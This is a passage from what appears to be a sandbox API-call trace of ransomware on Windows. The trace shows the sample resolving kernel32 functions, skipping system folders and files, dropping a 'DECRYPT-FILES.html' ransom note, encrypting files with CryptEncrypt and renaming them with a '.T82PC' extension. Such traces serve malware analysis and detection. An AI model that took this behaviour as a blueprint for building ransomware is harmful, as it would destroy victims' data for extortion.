lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0130.707] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0130.707] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0130.707] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0130.708] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0130.708] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0130.708] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0130.708] lstrlenA (lpString="CREATEJOBSET") returned 12 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0130.708] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0130.708] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0130.708] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0130.708] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0130.708] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0130.708] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0130.708] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0130.708] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0130.708] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0130.708] lstrlenA (lpString="CREATEPIPE") returned 10 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0130.708] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0130.708] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0130.708] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0130.708] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0130.709] lstrlenA (lpString="CREATEPROCESSASUSERA") returned 20 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserW" | out: lpString1="CreateProcessAsUserW") returned="CreateProcessAsUserW" [0130.709] lstrlenA (lpString="CREATEPROCESSASUSERW") returned 20 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalA" | out: lpString1="CreateProcessInternalA") returned="CreateProcessInternalA" [0130.709] lstrlenA (lpString="CREATEPROCESSINTERNALA") returned 22 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessInternalW" | out: lpString1="CreateProcessInternalW") returned="CreateProcessInternalW" [0130.709] lstrlenA (lpString="CREATEPROCESSINTERNALW") returned 22 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessW" | out: lpString1="CreateProcessW") returned="CreateProcessW" [0130.709] lstrlenA (lpString="CREATEPROCESSW") returned 14 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThread" | out: lpString1="CreateRemoteThread") returned="CreateRemoteThread" [0130.709] lstrlenA (lpString="CREATEREMOTETHREAD") returned 18 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateRemoteThreadEx" | out: lpString1="CreateRemoteThreadEx") returned="CreateRemoteThreadEx" [0130.709] lstrlenA (lpString="CREATEREMOTETHREADEX") returned 20 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreA" | out: lpString1="CreateSemaphoreA") returned="CreateSemaphoreA" [0130.709] lstrlenA (lpString="CREATESEMAPHOREA") returned 16 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExA" | out: lpString1="CreateSemaphoreExA") returned="CreateSemaphoreExA" [0130.709] lstrlenA (lpString="CREATESEMAPHOREEXA") returned 18 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreExW" | out: lpString1="CreateSemaphoreExW") returned="CreateSemaphoreExW" [0130.709] lstrlenA (lpString="CREATESEMAPHOREEXW") returned 18 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSemaphoreW" | out: lpString1="CreateSemaphoreW") returned="CreateSemaphoreW" [0130.709] lstrlenA (lpString="CREATESEMAPHOREW") returned 16 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSocketHandle" | out: lpString1="CreateSocketHandle") returned="CreateSocketHandle" [0130.709] lstrlenA (lpString="CREATESOCKETHANDLE") returned 18 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkA" | out: lpString1="CreateSymbolicLinkA") returned="CreateSymbolicLinkA" [0130.709] lstrlenA (lpString="CREATESYMBOLICLINKA") returned 19 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedA" | out: lpString1="CreateSymbolicLinkTransactedA") returned="CreateSymbolicLinkTransactedA" [0130.709] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDA") returned 29 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkTransactedW" | out: lpString1="CreateSymbolicLinkTransactedW") returned="CreateSymbolicLinkTransactedW" [0130.709] lstrlenA (lpString="CREATESYMBOLICLINKTRANSACTEDW") returned 29 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateSymbolicLinkW" | out: lpString1="CreateSymbolicLinkW") returned="CreateSymbolicLinkW" [0130.709] lstrlenA (lpString="CREATESYMBOLICLINKW") returned 19 [0130.709] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTapePartition" | out: lpString1="CreateTapePartition") returned="CreateTapePartition" [0130.710] lstrlenA (lpString="CREATETAPEPARTITION") returned 19 [0130.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThread" | out: lpString1="CreateThread") returned="CreateThread" [0130.710] lstrlenA (lpString="CREATETHREAD") returned 12 [0130.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpool" | out: lpString1="CreateThreadpool") returned="CreateThreadpool" [0130.710] lstrlenA (lpString="CREATETHREADPOOL") returned 16 [0130.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolCleanupGroup" | out: lpString1="CreateThreadpoolCleanupGroup") returned="CreateThreadpoolCleanupGroup" [0130.710] lstrlenA (lpString="CREATETHREADPOOLCLEANUPGROUP") returned 28 [0130.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolIo" | out: lpString1="CreateThreadpoolIo") returned="CreateThreadpoolIo" [0130.710] lstrlenA (lpString="CREATETHREADPOOLIO") returned 18 [0130.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolTimer" | out: lpString1="CreateThreadpoolTimer") returned="CreateThreadpoolTimer" [0130.710] lstrlenA (lpString="CREATETHREADPOOLTIMER") returned 21 [0130.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWait" | out: lpString1="CreateThreadpoolWait") returned="CreateThreadpoolWait" [0130.710] lstrlenA (lpString="CREATETHREADPOOLWAIT") returned 20 [0130.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateThreadpoolWork" | out: lpString1="CreateThreadpoolWork") returned="CreateThreadpoolWork" [0130.710] lstrlenA (lpString="CREATETHREADPOOLWORK") returned 20 [0130.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueue" | out: lpString1="CreateTimerQueue") returned="CreateTimerQueue" [0130.710] lstrlenA (lpString="CREATETIMERQUEUE") returned 16 [0130.710] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateTimerQueueTimer" | out: lpString1="CreateTimerQueueTimer") returned="CreateTimerQueueTimer" [0130.711] wsprintfW (in: param_1=0x38be7e4, param_2="%s.%s" | out: param_1="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.T82PC") returned 51 [0130.711] MoveFileExW (lpExistingFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll"), lpNewFileName="C:\\588bce7c90097ed212\\1044\\SetupResources.dll.T82PC" (normalized: "c:\\588bce7c90097ed212\\1044\\setupresources.dll.t82pc"), dwFlags=0x0) returned 1 [0130.711] VirtualFree (lpAddress=0x2d20000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.712] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.712] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.712] FindNextFileW (in: hFindFile=0x3b81280, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4558, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0130.712] FindClose (in: hFindFile=0x3b81280 | out: hFindFile=0x3b81280) returned 1 [0130.712] CloseHandle (hObject=0x528) returned 1 [0130.713] FindNextFileW (in: hFindFile=0x6bbd30, lpFindFileData=0x38bfa90 | out: lpFindFileData=0x38bfa90*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x31, dwReserved1=0x0, cFileName="1045", cAlternateFileName="")) returned 1 [0130.713] lstrcmpW (lpString1="1045", lpString2=".") returned 1 [0130.713] lstrcmpW (lpString1="1045", lpString2="..") returned 1 [0130.713] lstrcatW (in: lpString1="1045", lpString2="\\" | out: lpString1="1045\\") returned="1045\\" [0130.713] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\", lpString2="1045\\" | out: lpString1="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0130.713] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1045\\", lpSrch=":\\Windows") returned 0x0 [0130.713] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1045\\", lpSrch="\\Program Files") returned 0x0 [0130.713] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1045\\", lpSrch="\\Games\\") returned 0x0 [0130.713] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1045\\", lpSrch="\\Tor Browser\\") returned 0x0 [0130.713] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1045\\", lpSrch="\\ProgramData\\") returned 0x0 [0130.713] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1045\\", lpSrch="\\cache2\\entries\\") returned 0x0 [0130.713] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1045\\", lpSrch="\\Low\\Content.IE5\\") returned 0x0 [0130.713] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1045\\", lpSrch="\\User Data\\Default\\Cache\\") returned 0x0 [0130.713] StrStrW (lpFirst="C:\\588bce7c90097ed212\\1045\\", lpSrch="\\All Users") returned 0x0 [0130.713] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\") returned 27 [0130.713] lstrlenW (lpString="eogwkz.dat") returned 10 [0130.713] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1045\\\\eogwkz.dat") returned 38 [0130.713] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1045\\eogwkz.dat"), dwDesiredAccess=0x0, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x4000000, hTemplateFile=0x0) returned 0x528 [0130.714] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\") returned 27 [0130.714] lstrlenW (lpString="DECRYPT-FILES.html") returned 18 [0130.714] wsprintfW (in: param_1=0x38beff4, param_2="%s\\%s" | out: param_1="C:\\588bce7c90097ed212\\1045\\\\DECRYPT-FILES.html") returned 46 [0130.714] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\\\DECRYPT-FILES.html" (normalized: "c:\\588bce7c90097ed212\\1045\\decrypt-files.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x470 [0130.716] WriteFile (in: hFile=0x470, lpBuffer=0x31d0000*, nNumberOfBytesToWrite=0x1997, lpNumberOfBytesWritten=0x38beff0, lpOverlapped=0x0 | out: lpBuffer=0x31d0000*, lpNumberOfBytesWritten=0x38beff0*=0x1997, lpOverlapped=0x0) returned 1 [0130.717] CloseHandle (hObject=0x470) returned 1 [0130.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\") returned 27 [0130.718] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045\\", lpString2="*" | out: lpString1="C:\\588bce7c90097ed212\\1045\\*") returned="C:\\588bce7c90097ed212\\1045\\*" [0130.718] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1045\\*", lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5429a522, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName=".", cAlternateFileName="")) returned 0x3b81480 [0130.718] lstrcmpW (lpString1=".", lpString2=".") returned 0 [0130.718] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf38014a5, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0x5429a522, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="..", cAlternateFileName="")) returned 1 [0130.718] lstrcmpW (lpString1="..", lpString2=".") returned 1 [0130.718] lstrcmpW (lpString1="..", lpString2="..") returned 0 [0130.718] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5429a522, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x5429a522, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5429a522, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x1997, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="DECRYPT-FILES.html", cAlternateFileName="DECRYP~1.HTM")) returned 1 [0130.718] lstrcmpiW (lpString1="DECRYPT-FILES.html", lpString2="DECRYPT-FILES.html") returned 0 [0130.718] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5429a522, ftCreationTime.dwHighDateTime=0x1d517ed, ftLastAccessTime.dwLowDateTime=0x5429a522, ftLastAccessTime.dwHighDateTime=0x1d517ed, ftLastWriteTime.dwLowDateTime=0x5429a522, ftLastWriteTime.dwHighDateTime=0x1d517ed, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eogwkz.dat", cAlternateFileName="")) returned 1 [0130.718] lstrcmpiW (lpString1="eogwkz.dat", lpString2="DECRYPT-FILES.html") returned 1 [0130.718] lstrcmpiW (lpString1="eogwkz.dat", lpString2="autorun.inf") returned 1 [0130.718] lstrcmpiW (lpString1="eogwkz.dat", lpString2="boot.ini") returned 1 [0130.718] lstrcmpiW (lpString1="eogwkz.dat", lpString2="desktop.ini") returned 1 [0130.718] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat") returned -1 [0130.718] lstrcmpiW (lpString1="eogwkz.dat", lpString2="iconcache.db") returned -1 [0130.718] lstrcmpiW (lpString1="eogwkz.dat", lpString2="bootsect.bak") returned 1 [0130.718] lstrcmpiW (lpString1="eogwkz.dat", lpString2="ntuser.dat.log") returned -1 [0130.718] lstrcmpiW (lpString1="eogwkz.dat", lpString2="thumbs.db") returned -1 [0130.718] lstrcmpiW (lpString1="eogwkz.dat", lpString2="Bootfont.bin") returned 1 [0130.718] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\") returned 27 [0130.718] lstrlenW (lpString="eogwkz.dat") returned 10 [0130.719] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1045\\" | out: lpString1="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0130.719] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045\\", lpString2="eogwkz.dat" | out: lpString1="C:\\588bce7c90097ed212\\1045\\eogwkz.dat") returned="C:\\588bce7c90097ed212\\1045\\eogwkz.dat" [0130.719] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.719] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eogwkz.dat" (normalized: "c:\\588bce7c90097ed212\\1045\\eogwkz.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0130.719] CloseHandle (hObject=0x0) returned 0 [0130.719] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.719] FindNextFileW (in: hFindFile=0x3b81480, lpFindFileData=0x38bf814 | out: lpFindFileData=0x38bf814*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xfc8, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0130.719] lstrcmpiW (lpString1="eula.rtf", lpString2="DECRYPT-FILES.html") returned 1 [0130.720] lstrcmpiW (lpString1="eula.rtf", lpString2="autorun.inf") returned 1 [0130.720] lstrcmpiW (lpString1="eula.rtf", lpString2="boot.ini") returned 1 [0130.720] lstrcmpiW (lpString1="eula.rtf", lpString2="desktop.ini") returned 1 [0130.720] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat") returned -1 [0130.720] lstrcmpiW (lpString1="eula.rtf", lpString2="iconcache.db") returned -1 [0130.720] lstrcmpiW (lpString1="eula.rtf", lpString2="bootsect.bak") returned 1 [0130.720] lstrcmpiW (lpString1="eula.rtf", lpString2="ntuser.dat.log") returned -1 [0130.720] lstrcmpiW (lpString1="eula.rtf", lpString2="thumbs.db") returned -1 [0130.720] lstrcmpiW (lpString1="eula.rtf", lpString2="Bootfont.bin") returned 1 [0130.720] lstrlenW (lpString="C:\\588bce7c90097ed212\\1045\\") returned 27 [0130.720] lstrlenW (lpString="eula.rtf") returned 8 [0130.720] lstrcpyW (in: lpString1=0x38befe4, lpString2="C:\\588bce7c90097ed212\\1045\\" | out: lpString1="C:\\588bce7c90097ed212\\1045\\") returned="C:\\588bce7c90097ed212\\1045\\" [0130.720] lstrcatW (in: lpString1="C:\\588bce7c90097ed212\\1045\\", lpString2="eula.rtf" | out: lpString1="C:\\588bce7c90097ed212\\1045\\eula.rtf") returned="C:\\588bce7c90097ed212\\1045\\eula.rtf" [0130.720] VirtualAlloc (lpAddress=0x0, dwSize=0x28, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.720] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1045\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1045\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5f4 [0130.720] GetFileSizeEx (in: hFile=0x5f4, lpFileSize=0x38be7b0 | out: lpFileSize=0x38be7b0*=4040) returned 1 [0130.720] CreateFileMappingW (hFile=0x5f4, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName=0x0) returned 0x5f8 [0130.721] MapViewOfFile (hFileMappingObject=0x5f8, dwDesiredAccess=0x2, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x0) returned 0x2d20000 [0130.867] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x20, pbBuffer=0x2d10000 | out: pbBuffer=0x2d10000) returned 1 [0130.867] CryptGenRandom (in: hProv=0x6a26f8, dwLen=0x8, pbBuffer=0x2d10020 | out: pbBuffer=0x2d10020) returned 1 [0130.867] VirtualAlloc (lpAddress=0x0, dwSize=0x108, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0130.867] CryptEncrypt (in: hKey=0x68c9e8, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x2d30000*, pdwDataLen=0x38be718*=0x28, dwBufLen=0x100 | out: pbData=0x2d30000*, pdwDataLen=0x38be718*=0x100) returned 1 [0130.868] VirtualAlloc (lpAddress=0x0, dwSize=0x1001, flAllocationType=0x3000, flProtect=0x4) returned 0x2d40000 [0130.868] VirtualFree (lpAddress=0x2d40000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.868] UnmapViewOfFile (lpBaseAddress=0x2d20000) returned 1 [0130.868] CloseHandle (hObject=0x5f8) returned 1 [0130.869] SetFilePointerEx (in: hFile=0x5f4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0130.869] WriteFile (in: hFile=0x5f4, lpBuffer=0x2d30000*, nNumberOfBytesToWrite=0x108, lpNumberOfBytesWritten=0x38be738, lpOverlapped=0x0 | out: lpBuffer=0x2d30000*, lpNumberOfBytesWritten=0x38be738*=0x108, lpOverlapped=0x0) returned 1 [0130.870] CloseHandle (hObject=0x0) returned 0 [0130.870] CloseHandle (hObject=0x5f4) returned 1 [0130.871] VirtualFree (lpAddress=0x2d30000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.871] VirtualFree (lpAddress=0x2d10000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0130.872] GetTickCount () returned 0x3615b [0130.872] VirtualAlloc (lpAddress=0x0, dwSize=0x18, flAllocationType=0x3000, flProtect=0x4) returned 0x2d10000 [0130.872] lstrlenW (lpString="qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM1234567890") returned 62 [0130.872] VirtualAlloc (lpAddress=0x0, dwSize=0x10, flAllocationType=0x3000, flProtect=0x4) returned 0x2d20000 [0130.872] VirtualAlloc (lpAddress=0x0, dwSize=0x7e, flAllocationType=0x3000, flProtect=0x4) returned 0x2d30000 [0130.872] lstrlenA (lpString="kernel32.dll") returned 12 [0130.873] GetModuleHandleA (lpModuleName="kernel32.dll") returned 0x75e90000 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockExclusive" | out: lpString1="AcquireSRWLockExclusive") returned="AcquireSRWLockExclusive" [0130.873] lstrlenA (lpString="ACQUIRESRWLOCKEXCLUSIVE") returned 23 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AcquireSRWLockShared" | out: lpString1="AcquireSRWLockShared") returned="AcquireSRWLockShared" [0130.873] lstrlenA (lpString="ACQUIRESRWLOCKSHARED") returned 20 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtx" | out: lpString1="ActivateActCtx") returned="ActivateActCtx" [0130.873] lstrlenA (lpString="ACTIVATEACTCTX") returned 14 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ActivateActCtxWorker" | out: lpString1="ActivateActCtxWorker") returned="ActivateActCtxWorker" [0130.873] lstrlenA (lpString="ACTIVATEACTCTXWORKER") returned 20 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomA" | out: lpString1="AddAtomA") returned="AddAtomA" [0130.873] lstrlenA (lpString="ADDATOMA") returned 8 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddAtomW" | out: lpString1="AddAtomW") returned="AddAtomW" [0130.873] lstrlenA (lpString="ADDATOMW") returned 8 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasA" | out: lpString1="AddConsoleAliasA") returned="AddConsoleAliasA" [0130.873] lstrlenA (lpString="ADDCONSOLEALIASA") returned 16 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddConsoleAliasW" | out: lpString1="AddConsoleAliasW") returned="AddConsoleAliasW" [0130.873] lstrlenA (lpString="ADDCONSOLEALIASW") returned 16 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddDllDirectory" | out: lpString1="AddDllDirectory") returned="AddDllDirectory" [0130.873] lstrlenA (lpString="ADDDLLDIRECTORY") returned 15 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddIntegrityLabelToBoundaryDescriptor" | out: lpString1="AddIntegrityLabelToBoundaryDescriptor") returned="AddIntegrityLabelToBoundaryDescriptor" [0130.873] lstrlenA (lpString="ADDINTEGRITYLABELTOBOUNDARYDESCRIPTOR") returned 37 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameA" | out: lpString1="AddLocalAlternateComputerNameA") returned="AddLocalAlternateComputerNameA" [0130.873] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEA") returned 30 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddLocalAlternateComputerNameW" | out: lpString1="AddLocalAlternateComputerNameW") returned="AddLocalAlternateComputerNameW" [0130.873] lstrlenA (lpString="ADDLOCALALTERNATECOMPUTERNAMEW") returned 30 [0130.873] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="AddRefActCtx" | out: 